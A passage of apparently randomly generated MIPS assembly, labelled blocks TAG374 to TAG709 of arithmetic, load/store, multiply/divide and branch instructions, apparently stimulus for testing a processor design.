lui $1, 6
TAG374:
sll $1, $1, 13
mtlo $1
srav $3, $1, $1
addu $3, $1, $1
TAG375:
mtlo $3
bne $3, $3, TAG376
lui $2, 12
beq $3, $2, TAG376
TAG376:
lui $1, 13
sll $0, $0, 0
andi $3, $2, 6
sll $0, $0, 0
TAG377:
ori $4, $3, 7
mthi $3
lhu $2, 0($3)
mflo $2
TAG378:
mult $2, $2
xor $3, $2, $2
sltiu $4, $2, 13
mfhi $4
TAG379:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
bgez $3, TAG380
TAG380:
lui $2, 2
bne $4, $2, TAG381
subu $3, $4, $2
mflo $1
TAG381:
mthi $1
blez $1, TAG382
mfhi $4
sll $0, $0, 0
TAG382:
mfhi $1
mfhi $3
sll $0, $0, 0
sll $0, $0, 0
TAG383:
sra $3, $1, 15
bgez $3, TAG384
lui $4, 0
mflo $2
TAG384:
addiu $4, $2, 0
divu $4, $4
mflo $2
sra $4, $4, 1
TAG385:
bgtz $4, TAG386
lui $4, 6
lbu $1, 0($4)
sllv $4, $1, $1
TAG386:
lui $4, 12
mtlo $4
multu $4, $4
bne $4, $4, TAG387
TAG387:
sll $0, $0, 0
xori $3, $3, 4
bltz $3, TAG388
mthi $4
TAG388:
sh $3, 0($3)
addu $3, $3, $3
beq $3, $3, TAG389
sh $3, 0($3)
TAG389:
beq $3, $3, TAG390
lh $4, 0($3)
lbu $3, 0($3)
mult $3, $3
TAG390:
mult $3, $3
lh $1, 0($3)
subu $3, $1, $1
sra $4, $1, 2
TAG391:
sltu $2, $4, $4
sb $4, 0($4)
mtlo $2
mthi $2
TAG392:
lb $2, 0($2)
bltz $2, TAG393
lui $3, 6
subu $1, $2, $2
TAG393:
lh $3, 0($1)
mfhi $4
srav $2, $4, $3
add $1, $4, $2
TAG394:
lui $4, 9
mtlo $4
divu $4, $4
sb $4, 0($1)
TAG395:
bgtz $4, TAG396
lui $3, 10
lui $3, 9
mult $4, $3
TAG396:
ori $4, $3, 7
sllv $4, $3, $3
beq $4, $3, TAG397
lui $1, 5
TAG397:
xori $1, $1, 6
lui $4, 15
blez $4, TAG398
mthi $1
TAG398:
sll $0, $0, 0
slti $4, $4, 6
sb $4, 0($4)
mult $4, $4
TAG399:
lui $3, 7
ori $3, $3, 10
slti $1, $3, 6
sw $3, 0($1)
TAG400:
slti $2, $1, 4
bgez $1, TAG401
sw $2, 0($1)
lui $4, 4
TAG401:
multu $4, $4
beq $4, $4, TAG402
mult $4, $4
lw $4, 0($4)
TAG402:
mult $4, $4
blez $4, TAG403
mtlo $4
mtlo $4
TAG403:
mult $4, $4
lui $4, 3
addiu $4, $4, 10
addiu $4, $4, 1
TAG404:
bgez $4, TAG405
mult $4, $4
bne $4, $4, TAG405
sb $4, 0($4)
TAG405:
sra $2, $4, 11
sllv $2, $2, $2
mtlo $2
beq $2, $2, TAG406
TAG406:
multu $2, $2
mfhi $4
bltz $4, TAG407
ori $1, $2, 0
TAG407:
addu $1, $1, $1
divu $1, $1
mfhi $1
sb $1, 0($1)
TAG408:
mflo $2
mtlo $1
blez $1, TAG409
slti $2, $1, 12
TAG409:
mult $2, $2
sltiu $3, $2, 15
lui $1, 10
mfhi $4
TAG410:
mult $4, $4
addu $4, $4, $4
bne $4, $4, TAG411
lui $1, 8
TAG411:
mtlo $1
mthi $1
lui $3, 8
lui $3, 8
TAG412:
sll $0, $0, 0
div $3, $3
sll $0, $0, 0
multu $3, $4
TAG413:
lw $4, 0($4)
lui $2, 8
lbu $2, 0($4)
bgez $2, TAG414
TAG414:
mflo $1
sw $2, 0($1)
mtlo $2
sh $2, 0($1)
TAG415:
mthi $1
mflo $1
mtlo $1
sub $3, $1, $1
TAG416:
lw $2, 0($3)
bne $2, $2, TAG417
mult $3, $2
mfhi $1
TAG417:
mthi $1
mfhi $3
multu $1, $3
multu $1, $1
TAG418:
beq $3, $3, TAG419
slt $4, $3, $3
div $4, $4
lui $3, 7
TAG419:
xori $2, $3, 6
mtlo $2
mult $3, $2
mfhi $3
TAG420:
xori $4, $3, 8
sw $4, 0($3)
sb $3, 0($4)
sb $3, 0($4)
TAG421:
bgez $4, TAG422
lw $1, 0($4)
lb $4, 0($1)
div $1, $1
TAG422:
bgtz $4, TAG423
and $3, $4, $4
lui $2, 8
andi $1, $4, 10
TAG423:
lui $3, 14
bltz $3, TAG424
addiu $1, $1, 12
bgez $1, TAG424
TAG424:
mflo $2
bgez $1, TAG425
lui $3, 11
mflo $4
TAG425:
beq $4, $4, TAG426
lui $3, 9
bltz $4, TAG426
sh $3, 0($3)
TAG426:
ori $4, $3, 3
mfhi $3
addiu $1, $3, 3
mflo $1
TAG427:
sh $1, 0($1)
blez $1, TAG428
mfhi $3
multu $3, $3
TAG428:
sb $3, 0($3)
multu $3, $3
lui $3, 14
sll $0, $0, 0
TAG429:
xori $1, $3, 9
addiu $3, $3, 6
lui $1, 7
mtlo $1
TAG430:
mfhi $3
lui $2, 4
slt $1, $3, $2
mthi $2
TAG431:
bltz $1, TAG432
sltu $2, $1, $1
bgtz $2, TAG432
sw $1, 0($2)
TAG432:
lui $2, 4
mflo $4
div $2, $2
beq $2, $2, TAG433
TAG433:
sll $0, $0, 0
sll $0, $0, 0
xori $4, $4, 14
divu $4, $4
TAG434:
beq $4, $4, TAG435
lui $3, 7
bgez $3, TAG435
lw $3, 0($4)
TAG435:
sll $0, $0, 0
bltz $1, TAG436
lbu $3, 0($1)
mult $3, $1
TAG436:
xori $4, $3, 14
mult $4, $4
sltiu $1, $4, 12
multu $4, $1
TAG437:
bltz $1, TAG438
lbu $4, 0($1)
mtlo $4
mflo $4
TAG438:
addiu $4, $4, 3
div $4, $4
lw $2, 0($4)
multu $4, $4
TAG439:
bgtz $2, TAG440
div $2, $2
divu $2, $2
sra $4, $2, 11
TAG440:
lb $4, 0($4)
sra $2, $4, 4
sh $2, 0($4)
bgez $4, TAG441
TAG441:
slt $1, $2, $2
mtlo $1
sh $1, 0($2)
multu $1, $1
TAG442:
lui $4, 10
lh $3, 0($1)
bne $1, $4, TAG443
mtlo $3
TAG443:
sh $3, 0($3)
bltz $3, TAG444
sw $3, 0($3)
mult $3, $3
TAG444:
lb $1, 0($3)
lbu $4, 0($3)
add $1, $3, $3
slt $2, $4, $1
TAG445:
addi $3, $2, 3
mthi $2
mthi $3
mthi $2
TAG446:
lui $1, 9
beq $3, $1, TAG447
sll $2, $3, 3
beq $1, $3, TAG447
TAG447:
mthi $2
mthi $2
multu $2, $2
mfhi $1
TAG448:
mthi $1
sll $4, $1, 15
sltiu $2, $1, 14
sb $4, 0($2)
TAG449:
sll $2, $2, 6
mflo $1
srav $2, $2, $1
xori $1, $2, 7
TAG450:
divu $1, $1
addiu $1, $1, 3
mflo $1
blez $1, TAG451
TAG451:
sb $1, 0($1)
mthi $1
bgez $1, TAG452
lb $2, 0($1)
TAG452:
srl $1, $2, 8
mult $2, $1
mflo $1
beq $2, $1, TAG453
TAG453:
lw $3, 0($1)
lw $2, 0($1)
beq $1, $3, TAG454
addiu $1, $2, 10
TAG454:
mult $1, $1
lui $3, 10
bgtz $3, TAG455
sh $3, -266($1)
TAG455:
mflo $1
div $3, $3
sll $0, $0, 0
beq $1, $1, TAG456
TAG456:
mthi $1
lui $2, 5
multu $1, $2
lui $3, 0
TAG457:
mult $3, $3
nor $2, $3, $3
blez $2, TAG458
lui $1, 10
TAG458:
sll $0, $0, 0
mtlo $1
bltz $1, TAG459
mthi $2
TAG459:
lui $1, 5
sll $0, $0, 0
blez $1, TAG460
lui $2, 9
TAG460:
div $2, $2
sltu $3, $2, $2
sltiu $1, $2, 0
blez $3, TAG461
TAG461:
mflo $2
mflo $4
srlv $3, $1, $4
mtlo $3
TAG462:
xor $4, $3, $3
mult $3, $3
mflo $2
mult $2, $4
TAG463:
sltu $4, $2, $2
lui $2, 7
mtlo $2
beq $2, $2, TAG464
TAG464:
slt $4, $2, $2
sb $2, 0($4)
lui $1, 0
lhu $3, 0($4)
TAG465:
bgtz $3, TAG466
sllv $3, $3, $3
multu $3, $3
lui $3, 6
TAG466:
srl $3, $3, 14
blez $3, TAG467
mult $3, $3
bne $3, $3, TAG467
TAG467:
slt $2, $3, $3
lbu $2, 0($3)
mflo $4
beq $2, $3, TAG468
TAG468:
mthi $4
bltz $4, TAG469
lui $4, 7
sll $0, $0, 0
TAG469:
lui $3, 0
mflo $2
srlv $2, $3, $2
lh $1, 0($3)
TAG470:
mtlo $1
mthi $1
lui $4, 2
bgez $1, TAG471
TAG471:
xor $1, $4, $4
bne $4, $4, TAG472
mfhi $2
mfhi $4
TAG472:
lh $2, 0($4)
and $2, $4, $2
multu $4, $2
mult $2, $4
TAG473:
bgez $2, TAG474
lui $1, 8
add $1, $2, $1
bgtz $1, TAG474
TAG474:
divu $1, $1
sll $0, $0, 0
multu $1, $3
mfhi $1
TAG475:
sh $1, 0($1)
andi $1, $1, 1
lui $1, 2
sll $0, $0, 0
TAG476:
mflo $2
sll $0, $0, 0
sltu $1, $1, $1
sw $1, 0($1)
TAG477:
beq $1, $1, TAG478
mult $1, $1
beq $1, $1, TAG478
div $1, $1
TAG478:
bgez $1, TAG479
mflo $1
srav $3, $1, $1
addiu $2, $3, 3
TAG479:
lui $4, 2
nor $1, $2, $2
multu $4, $2
mtlo $4
TAG480:
blez $1, TAG481
lh $1, 1($1)
addu $4, $1, $1
or $1, $1, $1
TAG481:
and $2, $1, $1
sb $2, 0($2)
lui $4, 10
slt $4, $1, $1
TAG482:
xori $4, $4, 0
bne $4, $4, TAG483
nor $1, $4, $4
srav $4, $4, $4
TAG483:
sw $4, 0($4)
sh $4, 0($4)
mult $4, $4
bltz $4, TAG484
TAG484:
sltiu $4, $4, 9
andi $3, $4, 10
andi $4, $3, 9
multu $4, $4
TAG485:
bne $4, $4, TAG486
mtlo $4
multu $4, $4
beq $4, $4, TAG486
TAG486:
sb $4, 0($4)
srav $1, $4, $4
sh $1, 0($1)
bgtz $4, TAG487
TAG487:
mtlo $1
lui $2, 11
lui $4, 9
bne $2, $4, TAG488
TAG488:
mthi $4
slti $2, $4, 3
bgtz $4, TAG489
divu $4, $4
TAG489:
sll $1, $2, 0
lui $1, 8
nor $1, $2, $1
blez $2, TAG490
TAG490:
sll $0, $0, 0
beq $1, $1, TAG491
srlv $2, $1, $1
mflo $4
TAG491:
sll $0, $0, 0
xor $4, $4, $4
lhu $1, 0($4)
blez $4, TAG492
TAG492:
lui $2, 12
sll $0, $0, 0
mflo $3
bltz $2, TAG493
TAG493:
lui $3, 13
mflo $1
slt $2, $3, $3
lbu $1, 0($1)
TAG494:
lh $3, 0($1)
mflo $3
mult $3, $1
beq $3, $1, TAG495
TAG495:
lui $4, 9
bltz $4, TAG496
mfhi $1
sll $0, $0, 0
TAG496:
mult $1, $1
lui $4, 8
sll $0, $0, 0
beq $1, $4, TAG497
TAG497:
sll $0, $0, 0
bne $4, $4, TAG498
mfhi $1
sll $0, $0, 0
TAG498:
addi $2, $1, 3
lhu $2, 0($1)
andi $4, $1, 14
lui $2, 4
TAG499:
bne $2, $2, TAG500
srlv $2, $2, $2
sll $0, $0, 0
bne $2, $2, TAG500
TAG500:
mtlo $2
sll $0, $0, 0
sll $0, $0, 0
subu $1, $2, $2
TAG501:
mflo $1
andi $1, $1, 4
sb $1, 0($1)
bgez $1, TAG502
TAG502:
mult $1, $1
lw $4, 0($1)
mthi $4
mtlo $4
TAG503:
sh $4, 0($4)
srlv $1, $4, $4
lui $3, 8
bne $1, $4, TAG504
TAG504:
mthi $3
ori $2, $3, 10
mflo $3
multu $3, $3
TAG505:
lui $3, 7
sll $0, $0, 0
beq $3, $3, TAG506
mfhi $4
TAG506:
multu $4, $4
lui $3, 11
bne $3, $3, TAG507
lhu $1, 0($4)
TAG507:
bgez $1, TAG508
multu $1, $1
divu $1, $1
sh $1, 0($1)
TAG508:
sra $3, $1, 0
mflo $4
lhu $3, 0($4)
bltz $1, TAG509
TAG509:
mult $3, $3
beq $3, $3, TAG510
mfhi $4
lui $1, 6
TAG510:
beq $1, $1, TAG511
sb $1, 0($1)
sh $1, 0($1)
lhu $3, 0($1)
TAG511:
bgez $3, TAG512
lb $4, 0($3)
bltz $3, TAG512
sub $3, $4, $3
TAG512:
bgtz $3, TAG513
mfhi $4
ori $1, $3, 15
sltu $2, $1, $1
TAG513:
bgez $2, TAG514
mthi $2
addi $3, $2, 15
multu $2, $2
TAG514:
bgtz $3, TAG515
lbu $3, 0($3)
srl $1, $3, 10
mthi $3
TAG515:
lui $3, 2
mfhi $1
bgez $3, TAG516
multu $1, $1
TAG516:
lh $4, 0($1)
beq $4, $1, TAG517
lh $3, 0($1)
sll $1, $3, 14
TAG517:
sb $1, 0($1)
lui $1, 7
bltz $1, TAG518
multu $1, $1
TAG518:
sll $0, $0, 0
mtlo $1
div $1, $1
sll $0, $0, 0
TAG519:
sh $4, 0($4)
bne $4, $4, TAG520
sub $4, $4, $4
beq $4, $4, TAG520
TAG520:
srlv $3, $4, $4
and $4, $3, $3
blez $3, TAG521
lui $1, 6
TAG521:
mtlo $1
mflo $3
mflo $4
sll $0, $0, 0
TAG522:
beq $2, $2, TAG523
lui $2, 9
mfhi $3
mfhi $3
TAG523:
lui $4, 15
mult $4, $3
beq $3, $3, TAG524
slti $1, $3, 6
TAG524:
sw $1, 0($1)
lui $1, 5
bne $1, $1, TAG525
lui $3, 3
TAG525:
sll $0, $0, 0
sltu $3, $3, $3
nor $4, $3, $3
mtlo $4
TAG526:
mfhi $4
mthi $4
sb $4, 0($4)
bgtz $4, TAG527
TAG527:
mfhi $4
lui $2, 4
srav $4, $4, $4
bgez $2, TAG528
TAG528:
mflo $1
mfhi $3
sll $1, $4, 12
lhu $4, 0($1)
TAG529:
mflo $1
lui $1, 7
and $2, $1, $1
beq $1, $1, TAG530
TAG530:
srl $3, $2, 15
sltiu $3, $3, 2
xor $3, $3, $3
sltu $2, $2, $2
TAG531:
mfhi $4
bltz $4, TAG532
mthi $2
bne $4, $2, TAG532
TAG532:
mflo $3
mult $4, $4
div $4, $3
subu $2, $3, $4
TAG533:
sh $2, 91($2)
or $2, $2, $2
beq $2, $2, TAG534
lui $1, 1
TAG534:
mfhi $4
divu $4, $1
srav $2, $1, $4
sll $0, $0, 0
TAG535:
multu $2, $2
lui $4, 9
xori $2, $4, 4
beq $4, $2, TAG536
TAG536:
mflo $4
div $2, $2
sh $2, 0($4)
mthi $4
TAG537:
mtlo $4
lw $4, 0($4)
beq $4, $4, TAG538
xor $3, $4, $4
TAG538:
sh $3, 0($3)
xori $3, $3, 13
lb $2, 0($3)
multu $2, $2
TAG539:
sb $2, 0($2)
slt $3, $2, $2
mfhi $4
srl $3, $2, 12
TAG540:
mtlo $3
mthi $3
xori $1, $3, 6
sb $3, 0($3)
TAG541:
andi $2, $1, 5
bltz $2, TAG542
divu $1, $1
lui $1, 11
TAG542:
mthi $1
beq $1, $1, TAG543
sltu $1, $1, $1
lui $2, 15
TAG543:
lui $3, 12
mflo $3
bgtz $2, TAG544
multu $3, $3
TAG544:
bne $3, $3, TAG545
lbu $2, 0($3)
lui $1, 6
mthi $1
TAG545:
bgez $1, TAG546
sll $0, $0, 0
lui $3, 13
xor $1, $3, $3
TAG546:
blez $1, TAG547
mtlo $1
lui $3, 11
mflo $1
TAG547:
sll $0, $0, 0
nor $2, $1, $1
mfhi $2
srl $2, $2, 10
TAG548:
mflo $3
sll $0, $0, 0
mflo $4
addiu $4, $2, 8
TAG549:
div $4, $4
andi $2, $4, 7
mflo $1
lui $3, 9
TAG550:
and $2, $3, $3
lui $4, 9
bgez $3, TAG551
lui $3, 6
TAG551:
mult $3, $3
andi $4, $3, 4
sh $4, 0($4)
sw $3, 0($4)
TAG552:
xori $1, $4, 12
mult $1, $1
bltz $4, TAG553
andi $3, $4, 12
TAG553:
slt $1, $3, $3
mthi $1
mthi $3
sltiu $3, $1, 13
TAG554:
bgtz $3, TAG555
mtlo $3
lbu $2, 0($3)
bgez $2, TAG555
TAG555:
mflo $2
beq $2, $2, TAG556
lui $2, 3
lui $1, 15
TAG556:
mult $1, $1
blez $1, TAG557
subu $4, $1, $1
mfhi $3
TAG557:
mthi $3
bltz $3, TAG558
addu $4, $3, $3
xor $2, $3, $4
TAG558:
addiu $1, $2, 14
bne $2, $1, TAG559
lui $3, 11
lh $2, 0($3)
TAG559:
subu $1, $2, $2
mult $1, $2
sllv $4, $2, $1
lbu $2, 0($2)
TAG560:
bgtz $2, TAG561
mult $2, $2
lui $3, 4
multu $3, $2
TAG561:
slt $1, $3, $3
sll $0, $0, 0
sw $3, 0($1)
mfhi $3
TAG562:
lui $2, 0
multu $2, $3
lb $3, 0($3)
bltz $3, TAG563
TAG563:
sh $3, 0($3)
addiu $2, $3, 12
div $2, $2
lb $2, 0($2)
TAG564:
lbu $1, 0($2)
multu $1, $1
lbu $2, 0($2)
lui $2, 11
TAG565:
sll $0, $0, 0
mtlo $2
sll $0, $0, 0
lui $3, 13
TAG566:
subu $3, $3, $3
lhu $4, 0($3)
mfhi $2
mult $3, $4
TAG567:
lui $4, 8
beq $4, $2, TAG568
mflo $1
lui $3, 11
TAG568:
bne $3, $3, TAG569
sll $3, $3, 14
sll $0, $0, 0
sltu $3, $1, $3
TAG569:
sb $3, 0($3)
blez $3, TAG570
lbu $3, 0($3)
sb $3, 0($3)
TAG570:
mthi $3
slt $2, $3, $3
sllv $3, $2, $2
mthi $3
TAG571:
lw $1, 0($3)
sll $0, $0, 0
sll $0, $0, 0
lui $2, 13
TAG572:
sltu $1, $2, $2
mthi $1
lui $4, 1
mfhi $3
TAG573:
xor $2, $3, $3
mult $3, $2
bne $2, $3, TAG574
xor $1, $2, $3
TAG574:
beq $1, $1, TAG575
mtlo $1
mtlo $1
mthi $1
TAG575:
mult $1, $1
lui $1, 11
xor $3, $1, $1
blez $3, TAG576
TAG576:
multu $3, $3
slti $1, $3, 12
bne $3, $1, TAG577
lbu $2, 0($3)
TAG577:
nor $1, $2, $2
lui $2, 14
mthi $2
srl $2, $1, 6
TAG578:
sll $0, $0, 0
beq $2, $2, TAG579
mfhi $1
lbu $1, 0($1)
TAG579:
beq $1, $1, TAG580
mflo $2
bne $1, $1, TAG580
mfhi $1
TAG580:
div $1, $1
sltu $3, $1, $1
mflo $2
sltiu $4, $2, 13
TAG581:
bne $4, $4, TAG582
lbu $3, 0($4)
and $4, $3, $4
lbu $2, 0($4)
TAG582:
mflo $1
mflo $2
mthi $1
lb $3, 0($2)
TAG583:
blez $3, TAG584
sb $3, 0($3)
mthi $3
srlv $4, $3, $3
TAG584:
sltiu $1, $4, 13
addu $4, $1, $4
bne $4, $4, TAG585
subu $3, $4, $4
TAG585:
lui $1, 6
nor $3, $3, $3
mflo $4
sllv $2, $4, $3
TAG586:
sll $3, $2, 15
lui $4, 13
mthi $4
andi $1, $3, 9
TAG587:
multu $1, $1
srl $2, $1, 5
beq $2, $1, TAG588
slt $2, $2, $2
TAG588:
srav $1, $2, $2
lui $3, 11
beq $1, $3, TAG589
lh $2, 0($1)
TAG589:
sh $2, -256($2)
addiu $2, $2, 6
and $1, $2, $2
bgez $2, TAG590
TAG590:
or $2, $1, $1
mtlo $1
lbu $1, -262($1)
mfhi $1
TAG591:
bgtz $1, TAG592
mult $1, $1
mult $1, $1
bgez $1, TAG592
TAG592:
sb $1, 0($1)
sh $1, 0($1)
sb $1, 0($1)
bne $1, $1, TAG593
TAG593:
lui $3, 9
bne $3, $1, TAG594
mult $1, $3
ori $4, $1, 12
TAG594:
sll $0, $0, 0
mult $4, $4
sll $0, $0, 0
xori $4, $4, 5
TAG595:
srl $1, $4, 14
subu $1, $1, $1
mthi $4
bgtz $1, TAG596
TAG596:
lui $3, 7
sw $3, 0($1)
beq $1, $1, TAG597
lui $4, 0
TAG597:
sw $4, 0($4)
mfhi $4
sll $0, $0, 0
mthi $4
TAG598:
srav $2, $4, $4
sll $0, $0, 0
mfhi $2
mult $2, $4
TAG599:
mtlo $2
lui $4, 2
sll $0, $0, 0
andi $4, $4, 9
TAG600:
multu $4, $4
mflo $3
mthi $4
sw $4, 0($4)
TAG601:
sra $1, $3, 11
xor $1, $3, $3
mfhi $2
blez $2, TAG602
TAG602:
sb $2, 0($2)
mflo $2
mtlo $2
sw $2, 0($2)
TAG603:
sw $2, 0($2)
beq $2, $2, TAG604
addi $2, $2, 0
mthi $2
TAG604:
sh $2, 0($2)
addiu $1, $2, 0
lb $2, 0($2)
mtlo $2
TAG605:
multu $2, $2
subu $2, $2, $2
xori $4, $2, 4
lui $2, 7
TAG606:
bne $2, $2, TAG607
mthi $2
lui $1, 1
sltiu $1, $1, 2
TAG607:
mthi $1
addiu $2, $1, 9
sh $2, 0($1)
andi $2, $1, 3
TAG608:
mult $2, $2
lhu $3, 0($2)
multu $2, $3
lui $3, 6
TAG609:
addiu $4, $3, 13
divu $4, $4
blez $3, TAG610
mfhi $2
TAG610:
lbu $1, 0($2)
bne $1, $2, TAG611
multu $1, $2
slt $3, $1, $2
TAG611:
beq $3, $3, TAG612
sll $0, $0, 0
addiu $2, $3, 7
lui $4, 2
TAG612:
mflo $3
lw $1, 0($3)
beq $4, $3, TAG613
div $3, $1
TAG613:
bne $1, $1, TAG614
mult $1, $1
bne $1, $1, TAG614
mtlo $1
TAG614:
beq $1, $1, TAG615
mult $1, $1
sb $1, 0($1)
bgtz $1, TAG615
TAG615:
lb $1, 0($1)
bltz $1, TAG616
mult $1, $1
xori $2, $1, 15
TAG616:
nor $1, $2, $2
sb $1, 16($1)
mthi $1
ori $4, $1, 7
TAG617:
mtlo $4
sb $4, 9($4)
div $4, $4
lui $2, 8
TAG618:
sll $0, $0, 0
lui $3, 6
mtlo $3
mflo $3
TAG619:
multu $3, $3
div $3, $3
mfhi $2
mtlo $3
TAG620:
bgez $2, TAG621
lh $1, 0($2)
mtlo $1
lui $1, 12
TAG621:
sll $0, $0, 0
lh $2, 0($2)
mtlo $2
div $2, $2
TAG622:
blez $2, TAG623
lbu $1, -247($2)
addu $2, $1, $1
blez $2, TAG623
TAG623:
sll $0, $0, 0
srlv $3, $2, $2
mfhi $4
lw $1, 0($3)
TAG624:
srl $4, $1, 1
addu $2, $4, $4
div $1, $2
bne $4, $1, TAG625
TAG625:
sh $2, -246($2)
nor $1, $2, $2
mult $1, $1
lb $2, 247($1)
TAG626:
sb $2, 10($2)
srlv $4, $2, $2
mflo $4
lui $2, 14
TAG627:
subu $4, $2, $2
add $1, $4, $4
mflo $1
multu $1, $4
TAG628:
addiu $2, $1, 6
mthi $1
mult $1, $1
sll $0, $0, 0
TAG629:
mfhi $4
or $4, $3, $4
srl $3, $4, 10
lhu $2, 0($3)
TAG630:
sllv $3, $2, $2
lh $1, -246($2)
sll $2, $3, 8
mfhi $1
TAG631:
xori $4, $1, 12
lui $3, 4
bgtz $3, TAG632
mflo $4
TAG632:
bgtz $4, TAG633
mfhi $3
multu $3, $4
sll $0, $0, 0
TAG633:
subu $3, $2, $2
lw $2, 0($3)
nor $4, $2, $2
lui $4, 0
TAG634:
sw $4, 0($4)
lui $1, 9
srav $2, $4, $1
mflo $2
TAG635:
bgtz $2, TAG636
mult $2, $2
srav $2, $2, $2
lui $1, 8
TAG636:
subu $4, $1, $1
mthi $4
lui $2, 12
mthi $2
TAG637:
beq $2, $2, TAG638
mthi $2
mflo $1
mfhi $3
TAG638:
lui $4, 11
addi $1, $3, 13
lui $4, 9
mfhi $1
TAG639:
sll $0, $0, 0
srav $3, $1, $4
subu $2, $1, $3
sll $0, $0, 0
TAG640:
mthi $3
multu $3, $3
srl $1, $3, 3
multu $1, $1
TAG641:
lui $4, 2
bgez $1, TAG642
sll $0, $0, 0
lui $1, 15
TAG642:
lui $2, 1
mthi $1
blez $2, TAG643
lui $2, 11
TAG643:
divu $2, $2
addiu $2, $2, 0
sll $0, $0, 0
xor $2, $2, $3
TAG644:
sll $3, $2, 6
sll $0, $0, 0
mfhi $1
nor $1, $3, $1
TAG645:
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
mflo $2
TAG646:
mflo $2
multu $2, $2
multu $2, $2
mfhi $4
TAG647:
mthi $4
sub $2, $4, $4
mtlo $4
add $2, $2, $4
TAG648:
bne $2, $2, TAG649
sh $2, 0($2)
beq $2, $2, TAG649
srl $3, $2, 9
TAG649:
blez $3, TAG650
lh $1, 0($3)
lui $1, 4
ori $2, $3, 3
TAG650:
bgtz $2, TAG651
sw $2, 0($2)
mfhi $3
blez $2, TAG651
TAG651:
sb $3, 0($3)
mtlo $3
sb $3, 0($3)
mtlo $3
TAG652:
sh $3, 0($3)
multu $3, $3
lbu $1, 0($3)
lhu $4, 0($1)
TAG653:
mflo $4
sw $4, 0($4)
bne $4, $4, TAG654
addi $1, $4, 1
TAG654:
srlv $3, $1, $1
mfhi $2
mflo $3
beq $3, $3, TAG655
TAG655:
mthi $3
mtlo $3
xori $1, $3, 14
bgez $3, TAG656
TAG656:
xor $1, $1, $1
beq $1, $1, TAG657
lb $3, 0($1)
bne $1, $1, TAG657
TAG657:
sb $3, 0($3)
lui $4, 13
lui $2, 5
lhu $4, 0($3)
TAG658:
srlv $2, $4, $4
bne $2, $4, TAG659
sb $4, 0($4)
beq $2, $2, TAG659
TAG659:
sub $1, $2, $2
nor $2, $1, $2
mfhi $2
bne $1, $1, TAG660
TAG660:
srlv $2, $2, $2
xori $2, $2, 11
lb $2, 0($2)
beq $2, $2, TAG661
TAG661:
sb $2, 0($2)
lui $2, 2
bgez $2, TAG662
sll $0, $0, 0
TAG662:
sll $0, $0, 0
sll $0, $0, 0
sh $2, 0($4)
bgez $2, TAG663
TAG663:
mfhi $3
sll $2, $3, 8
mtlo $2
mthi $3
TAG664:
mfhi $1
bne $1, $2, TAG665
mthi $1
bgez $1, TAG665
TAG665:
mthi $1
lui $3, 14
mfhi $2
lui $1, 7
TAG666:
lui $3, 3
sll $0, $0, 0
lui $2, 8
sra $4, $2, 15
TAG667:
sb $4, 0($4)
bgez $4, TAG668
nor $1, $4, $4
lh $4, 0($1)
TAG668:
addiu $1, $4, 4
mthi $4
divu $1, $1
mflo $1
TAG669:
blez $1, TAG670
lui $4, 14
mflo $2
lui $1, 13
TAG670:
sll $3, $1, 5
div $3, $3
bgtz $1, TAG671
mtlo $3
TAG671:
bgtz $3, TAG672
addiu $3, $3, 1
mfhi $2
mflo $3
TAG672:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
addiu $3, $3, 12
TAG673:
mfhi $2
blez $2, TAG674
multu $3, $2
div $2, $3
TAG674:
sh $2, 0($2)
mfhi $2
bne $2, $2, TAG675
srl $2, $2, 13
TAG675:
lh $2, 0($2)
lb $3, 0($2)
lw $3, 0($2)
lb $1, 0($3)
TAG676:
sb $1, 0($1)
mult $1, $1
sb $1, 0($1)
lh $4, 0($1)
TAG677:
sw $4, 0($4)
multu $4, $4
lbu $1, 0($4)
lh $1, 0($1)
TAG678:
multu $1, $1
multu $1, $1
lh $2, 0($1)
lui $1, 3
TAG679:
sll $0, $0, 0
mfhi $3
or $4, $3, $2
lui $3, 7
TAG680:
lui $4, 13
lui $2, 12
bne $3, $4, TAG681
sll $0, $0, 0
TAG681:
mthi $2
slt $2, $2, $2
lui $2, 5
srlv $1, $2, $2
TAG682:
mflo $3
lui $2, 3
bgtz $2, TAG683
multu $3, $3
TAG683:
sll $0, $0, 0
sllv $3, $2, $4
div $3, $3
sll $0, $0, 0
TAG684:
lui $3, 10
sll $0, $0, 0
bgtz $3, TAG685
slti $2, $3, 2
TAG685:
xor $4, $2, $2
slti $1, $4, 6
addu $2, $4, $1
sb $1, 0($2)
TAG686:
bgtz $2, TAG687
multu $2, $2
sw $2, 0($2)
sw $2, 0($2)
TAG687:
lb $1, 0($2)
slt $4, $2, $1
lui $4, 11
sll $0, $0, 0
TAG688:
subu $2, $2, $2
mflo $3
sh $2, 0($2)
mflo $3
TAG689:
lui $1, 1
lui $3, 2
lui $1, 9
mthi $1
TAG690:
mthi $1
mfhi $4
mflo $2
mtlo $1
TAG691:
divu $2, $2
mtlo $2
sra $2, $2, 1
sb $2, 0($2)
TAG692:
lhu $2, 0($2)
lh $4, 0($2)
beq $4, $2, TAG693
sll $4, $2, 11
TAG693:
mthi $4
sw $4, 0($4)
mflo $1
sb $1, 0($4)
TAG694:
sb $1, 0($1)
srlv $3, $1, $1
mtlo $1
sb $1, 0($3)
TAG695:
lui $1, 12
mult $1, $1
bne $1, $1, TAG696
srl $3, $1, 2
TAG696:
sll $0, $0, 0
srl $4, $3, 11
sw $3, 0($4)
mfhi $4
TAG697:
mfhi $3
bne $4, $4, TAG698
mtlo $3
mfhi $1
TAG698:
sb $1, -144($1)
mthi $1
subu $4, $1, $1
bltz $1, TAG699
TAG699:
mflo $3
sw $3, -144($3)
lbu $2, 0($4)
beq $2, $2, TAG700
TAG700:
mflo $2
blez $2, TAG701
srlv $4, $2, $2
sb $4, -144($2)
TAG701:
sltiu $3, $4, 15
sub $1, $3, $4
mtlo $4
srlv $2, $1, $3
TAG702:
sh $2, 0($2)
lw $3, 0($2)
add $1, $2, $3
lui $4, 4
TAG703:
lui $2, 7
mflo $4
mthi $4
beq $2, $4, TAG704
TAG704:
lui $4, 3
srav $4, $4, $4
mfhi $1
sll $0, $0, 0
TAG705:
sw $3, 0($3)
lhu $3, 0($3)
sb $3, 0($3)
srl $2, $3, 0
TAG706:
mtlo $2
bgez $2, TAG707
mfhi $1
bgtz $1, TAG707
TAG707:
lh $3, 0($1)
blez $1, TAG708
srlv $2, $1, $3
sltiu $1, $2, 13
TAG708:
mult $1, $1
lui $4, 13
sll $0, $0, 0
sltiu $3, $1, 12
TAG709:
div $3, $3
